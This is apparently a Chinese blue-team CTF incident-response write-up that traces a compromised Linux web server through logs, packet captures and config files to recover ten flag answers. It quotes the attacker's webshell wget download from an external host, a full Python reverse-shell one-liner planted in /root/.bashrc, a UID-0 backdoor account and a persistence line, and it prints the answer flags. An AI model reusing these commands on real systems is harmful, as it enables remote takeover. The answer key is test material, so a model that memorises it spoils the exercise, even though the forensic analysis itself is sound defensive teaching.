第九章-blueteam 的小心思
第九章-blueteam 的小心思
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz
任务环境说明
注:进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
开放题目
漏洞修复
题目;
1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
2、攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
3、找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
4、攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
5、攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
6、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
7、攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
8、攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
9、解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
10、因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
使用Xshell新建或者SSH连接靶机
成功链接后立马执行命令
sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
第一题
1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
第一步我们可以先看看日志,查看黑客有没有留下什么痕迹,这个靶场是apache,日志在 var/log/apache2

从行为来看:
- 攻击者(IP:
192.168.16.43)连续多次对login.php提交了 POST 请求; - 前面几次返回的是
200 OK(说明还在登录页面,登录失败); - 最后一次(23:20:21)返回了
302(跳转) ⇒ 登录成功了!
从这段 Apache 日志看,攻击者用了正确的密码在 2023-11-18 23:20:21 登录后台成功了,表现为 HTTP 302 状态码,说明这一次 POST 提交中的密码就是正确密码。
日志里面没有发现黑客的账户和密码,这里我们从数据库入手
数据库登录的账号和密码通常存储在配置文件如
config.inc.php中,因为配置文件config.inc.php是专门用于存放应用程序的配置参数,包括数据库连接信息。
这里使用find命令查找配置文件信息
find / -name config.inc.php

查看数据库账户和密码
cat /var/www/html/include/config.inc.php

我们可以得到;
- 数据库类型:
pdo:mysql - 数据库服务器:
localhost - 数据库用户名:
root - 数据库密码:
mysql123 - 数据库名称:
mirage
我们这里使用Navicat Premium对数据库进行链接方便查看
在文件这里新建

数据库也没有,我们直接查看流量包
find / -name "*.pcap"

在根目录下面有流量包,我们在finalshell里面下载用wireshark打开找
题目告诉我们登录,那么我们直接差http的关键字 login.php
http contains "login.php"

在302跳转的上一条流量包这里,对这个密码进行md5加密得到flag{D63EDB0E9DF4CF411398E3658C0237E0}
第二题
攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
题一我们已经到导出了流量包,那我们可以查找一下“boundary”;
为什么要找boundary
\1. 定位上传请求
很多渗透攻击(如 Webshell 上传)都会用
multipart/form-data方式提交,搜索boundary可以迅速定位 POST 请求中的文件上传\2. 查看上传文件的内容
Wireshark 可以直接展示请求体内容。定位
boundary后,下面的每段数据块就是上传内容,如用户名、文件名、payload 等3.识别 Webshell 或敏感信息
通过搜索
boundary→ 定位上传表单 → 查看 filename/内容,能识别上传的恶意脚本、敏感表单字段如:
filename="shell.php"name="password"<?php ... ?>(webshell代码)
找到一条数据包,对这条数据包进行http追踪流
这段是一次非常典型的 Webshell 文件上传请求,攻击者通过 HTTP 的 multipart/form-data 上传了一个包含木马的压缩包。我们逐段分析
黑客上传了一个名为 cpg.zip 的压缩文件
实际上传的是 ZIP 文件类型
这个 zip 里包含了一个 cpg.php 文件,其内容是一句话木马:
该 WebShell 可以执行任何攻击者通过 POST 参数 m3 传入的 PHP 代码
上传插件或文件的 POST 请求,目标接口是/pluginmgr.php?op=upload
上传页面:pluginmgr.php 进行md5加密
拿到flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}
第三题
找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
在上题流量包里面我们知道了cpg.php就是木马文件,我这里我们直接对文件在系统盘里面进行查找
sudo find / -type f -name "cpg.php" 2>/dev/null

得到文件位置,然后我们去到这个文件所在地目录对文件进行md5加密加密拿到flag{a097b773ced57bb7d51c6719fe8fe5f5}

第四题
攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}
在wireshark里面 对http流量包进行筛选按照一下大小排序,在大小为“1037”的包中发现关键;

跟进分析,追踪流HTTP;

url在线解码,使用了PHP的 system 函数,执行了一个下载命令
m3=system("wget http://124.221.70.199:8889/is.world");
在这里下载了is.world文件我们使用find命令对文件进行定位

这使用ls-la发现了一个点(.)后面跟了7个空格!攻击者上传的目录或文件名被故意命名得像是当前目录 ".",混淆你的视觉
进入这个目录查看文件
cd './. '
ls -la
注意:引号中必须包含点+空格,否则无法正确进入。
对文件进行md5加密拿到flag{ee279c39bf3dcb225093bdbafeb9a439}

第五题
攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
题目告诉我们是新增加用户,检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等
cat /etc/passwd

knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash
攻击者已经在系统中创建了一个具有 root 权限的后门账号:
knowledgegraphd 用户就是是黑客创建的后门用户UID 为 0 的账号就意味着 = root
- 在 Linux 中,UID=0 是系统最高权限;
- 正常系统中 只允许一个 UID=0 的账号,即
root本身; - 如果出现第二个 UID=0 用户,就是严重的提权后门
对这个用户进行md5加密提交,在Ubuntu下字符串进行MD5加密和文件肯定不一的flag{4cda3461543c9a770a3349760594facd}
echo -n "knowledgegraphd" | md5sum

第六题
攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
shell配置文件
黑客可以修改用户的 Shell配置文件,这些文件在用户登录时被执行。常见的文件包括:
1、”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
2、”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
3、”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
4、”/etc/profile“:为所有用户提供的系统级别的配置文件,
5、”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。
在”/etc/profile“中发现可疑点
cat /etc/profile

这行 /etc/profile 中的代码是攻击者设置的 Linux 登录自启动后门机制,每次有人登录就自动后台执行木马文件 is.world。结合上题发现的隐藏目录 . ,这是一种经典的持久化控制手法
/var/www/html/plugins/". "/is.world &,它是一个恶意添加的行,试图运行一个不明的命令或程序。
对文件进行md5加密拿到flag{65bf3e4a9ac90d75ec28be0317775618}

第七题
攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录
1、“/root/.bashrc”:在root用户登录Bash Shell时执行;
2、“/root/.bash_profile”:在root用户登录时执行。
3、“/root/.profile”:在root用户登录时执行。
4、“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;
在“/root/.bashrc”中发现关键
cat /root/.bashrc

Python 一个经典的反弹 shell 脚本,常被用作创建后门的手段
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
至此对此文件进行md5加密拿到flag{4acc9c465eeeb139c194893ec0a8bcbc}

第八题
攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
使用Navicat Premium对数据库进行分析
JPMorgan Chase”数据库中发现它打不开****报错,怀疑可能有加密

find定位一下“JPMorgan@0020Chase”
find / -name JPMorgan@0020Chase
使用echo来进行MD5加密拿到flag{0928a5424aa6126e5923980ca103560e}
echo -n "JPMorgan@0020Chase" | md5sum
第九题
解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm

分析一下这个clockup.php文件
cat /var/lib/mysql/clockup.php

这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”
这里使用反推脚本
<?php
$currentDate = date("Y-m-d");
$key = md5('2023-11-18');
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$encryptedContent = file_get_contents($fullPath);
$decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $decryptedContent);
}
}
?>
那这里我们直接把解密脚本写在/var/www/mysql/目录下即可

运行
php 123.php
运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;
使用命令;
sudo systemctl restart mysql

我们Harper用户对应Areer的值是什么并且进行MD5加密拿到flag{8fd82b8864d71ed7fa12b59e6e34cd1c}
第十题
因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
我们使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件
find / -user root -perm -4000 2>/dev/null

- 在这个案例中,虽然只允许执行
systemctl status apache2.service,存在某种漏洞,肯定会导致执行其它命令或达到提权的效果。
所以直接在Liunx中MD5加密即可拿到flag{6585817513b0ea96707ebb0d04d6aeff}
md5sum /etc/sudoers
最后感谢大佬的分析:https://blog.csdn.net/administratorlws/article/details/140471298

浙公网安备 33010602011771号